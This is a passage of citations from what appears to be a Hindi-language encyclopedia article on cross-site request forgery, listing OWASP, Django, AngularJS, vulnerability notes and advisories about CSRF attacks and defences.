  14. "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
  15. Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  16. "Security Fix - Weaponizing Web 2.0".
  17. Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
  18. Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
  19. Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
  20. "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  21. "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  22. "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
  23. "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
  24. "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
  25. "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  26. "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  27. "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
  28. "Making a Service Available Across Domain Boundaries".
  29. Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
  30. "डबल सबमिट कुकी रक्षा". OWASP.
  31. "सेमसाइट कुकीज़". Mozilla.
  32. Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
  33. "Django 1.2.5 release notes". Django.
  34. "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  35. "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  36. Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.


बाहरी संबंध